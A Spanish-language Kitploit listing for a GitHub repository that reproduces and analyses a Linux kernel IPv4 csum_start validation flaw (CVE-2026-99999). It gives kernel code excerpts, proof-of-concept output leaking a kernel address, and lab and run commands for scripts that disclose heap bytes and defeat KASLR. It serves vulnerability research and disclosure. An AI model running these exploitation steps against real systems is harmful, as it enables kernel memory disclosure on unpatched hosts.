Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-99999-pwnescape — Reproducción y análisis del fallo de validación de csum_start en IPv4 de Linux (CVE-2026-99999): reescritura de cabecera, divulgación de 32 bytes del heap, oráculo de fuga y derrota de KASLR. | Kitploit
Herramientas/GitHubGitHub/gandli/cve-2026-99999-pwnescape
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónSeguridad de RedesPapers e InvestigaciónAprendizaje y EducaciónExplotación de Binarios
GitHub
Compartir
gandli/cve-2026-99999-pwnescape

CVE-2026-99999-pwnescape

Reproducción y análisis del fallo de validación de csum_start en IPv4 de Linux (CVE-2026-99999): reescritura de cabecera, divulgación de 32 bytes del heap, oráculo de fuga y derrota de KASLR.

Ver Repositorio
223hace 1 mesAún no revisado

CVE-2026-99999 (PwnEscape): una escritura diferida de checksum reescribe la cabecera IPv4 que el kernel ya había analizado

English · 简体中文

Reproducción del fallo de validación de csum_start en IPv4 de Linux corregido por 6785011f8b16 ("ipv4: validate checksum_start before completing checksum"). Dada la ejecución de código dentro de una VM invitada, un proceso sin privilegios sobre un TAP preparado reescribe una cabecera que el kernel ya ha analizado y, a continuación, lee 32 bytes más allá de los datos lineales del paquete.

Precondiciónejecución de código dentro de la VM invitada — no remota, no pre-auth
Reproducido en6.18.54.1-microsoft-standard-WSL2
Kernels afectadostodas las versiones anteriores a la corrección de su rama — KERNELS.md
Corregido en6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11
CVSS 3.19.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Corrección upstream6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin)
Reportado porPaulos Yibelo (pwn.ai)
Precompiladov1.0.0 static binaries

Prueba

$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
  frag 0: first=0x4f ihl=60B tot_len=196
    options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
    past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options

El primer byte es 0x4f en lugar de 0x45 — versión 4, longitud de cabecera de 15 palabras en lugar de 5. Los ocho bytes a5 son el marcador que este reproductor escribió en el fragmento; todo lo que sigue después de ellos no forma parte del paquete. a9 cb 43 9e 88 ff ff se lee como 0xffff889e43cba9, una dirección del mapa directo del kernel.

Mecanismo

Tres etapas: inyectar un frame con csum_start en el byte 22, reensamblar dos fragmentos en una cabecera lineal de 28 bytes, luego copiar una cabecera de 60 bytes y leer 32 bytes más allá de ella

skb_checksum_help() convierte los metadatos de checksum en una escritura:

write address = skb->head + csum_start + csum_offset

Nada antes de la corrección verificaba que csum_start estuviera después del encabezado IPv4. La comprobación de admisión compara el desplazamiento del transporte con una longitud mínima de encabezado medida desde el skb->data actual — una coordenada relativa al frame:

/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
        return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len)   /* 20 bytes */
        return -EINVAL;

Para una trama de [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22 da skb_transport_offset() == 22 >= 20, por lo que los metadatos se aceptan, mientras que la distancia real desde la cabecera de red es 0. Las dos etiquetas VLAN se eliminan en la ruta de recepción, por lo que la coordenada relativa a la trama sobrevive hasta L3 y la escritura diferida recae sobre version/ihl.

El ordenamiento es la otra mitad. ip_do_fragment() completó la suma de verificación pendiente antes de leer iph->ihl:

/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
        goto fail;

iph = ip_hdr(skb);
...
hlen = iph->ihl * 4;          /* now 60, not 20 */

El encabezado se validó como de 20 bytes; el consumidor lee 15 palabras de la misma memoria. skb_checksum_help() no tiene la culpa: se permitió que los metadatos describieran un paquete distinto del que existe.

La corrección añade un límite relativo a la red y lo invoca antes de cada punto de finalización:

static inline int ip_check_csum_start(const struct sk_buff *skb)
{
        if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
                return -EINVAL;
        return 0;
}

Con C = csum_start, N = network_header, H = ip_hdrlen y O >= 0, requerir C >= N + H significa que la escritura C + O ya no puede alcanzar la cabecera.

Inicio rápido

Contenedor privilegiado en un kernel vulnerable (el kernel es lo que importa):

docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh

# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify

# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee

En un host de pruebas bare-metal o VM: sudo sh lab/setup.sh, luego ejecuta los mismos comandos como root en ese espacio de nombres de red. Requiere /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip y nft.

El laboratorio

lab/setup.sh construye un TAP para la inyección y un par veth para la salida:

              inject                       forward + defrag          egress
  userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
  (virtio_net_hdr,       |                  conntrack defrag        MTU 200
   csum_start=22)        |                  nft prerouting -450         │
                         └── two fragments reassembled ────────────────┤
                             into a 28-byte linear head                ▼
                                                                     pwnv1
                                                                  (capture)

La regla ct de nft registra nf_defrag_ipv4, por lo que los dos fragmentos se reensamblan antes de que la ruta de reenvío los fragmente de nuevo. Todo lo que vuelva a entrar por pwnv1 se descarta. lab/teardown.sh lo elimina todo.

Qué significan los números

El fragmento con desplazamiento 0 transporta 8 bytes, así que tras el reensamblado la cabeza lineal lógica es de 20 + 8 = 28 bytes, mientras que el fragmentador copia ihl * 4 = 60:

[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
                            └─ copied into the fragments' IPv4 options

overrun = 60 - (20 + head), por lo que --head 40 es el caso de control (ningún byte cruza el límite) y --head 8 produce la divulgación de 32 bytes.

En la ruta de slab, la cola se pone a cero mediante CONFIG_INIT_ON_ALLOC_DEFAULT_ON y la fuga se lee como 00. --page mueve la cabeza del skb a un page_frag reciclado, donde la cola aún contiene lo que la página tenía antes.

Detección y explotación

python3 exp/probe.py --passive        # version verdict, no packets
python3 exp/probe.py --active         # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24       # repeatable 32-byte disclosure + physmap KASLR base

probe.py compara un datagrama de control con metadatos de checksum bien formados frente a uno cuyo csum_start se sitúa en la cabecera IPv4: cabecera reescrita → vulnerable, prueba descartada por la protección → parcheado, nada capturado → problema de laboratorio. leak.py repite la sobrelectura, extrae punteros canónicos del kernel y deriva la base KASLR del physmap.

Descargar herramienta

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 El kit de herramientas OSINT definitivo: grafo de investigación, puntuación de confianza, familias de alias, mapa, línea de tiempo e informes. 49 módulos, más de 400 sitios, sin necesidad de claves API.

    565
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # Aplicación de Ejecución con un Solo Toque GhostLock (CVE-2026-43499)

    478
  • 3

    ARTEX

    baarai/artex

    Plataforma de pruebas de penetración autónoma multiagente basada en LLM con agentes planificadores/trabajadores, grafos de activos y de exploración, registro de tráfico MITM y reevaluación de vulnerabilidades.

    383
  • 4

    redforge

    cybersecurity91/redforge

    Kit de herramientas de red team del lado del navegador con 102 herramientas offline para reconocimiento, generación de payloads, ataques de credenciales, criptografía, codificación y elaboración de informes de compromiso.

    327
  • 5

    estorides

    grisuno/estorides

    Agrega más de 99 fuentes OSINT gratuitas en paralelo, resuelve entidades en un grafo de conocimiento y exporta STIX 2.1, MISP o GraphML con análisis asistido por LLM.

    258
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    El sistema de acción para la ciberseguridad nativa de IA—donde la intención se convierte en ejecución gobernada, la evidencia se convierte en memoria operativa y cada operación mejora la siguiente.

    256

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →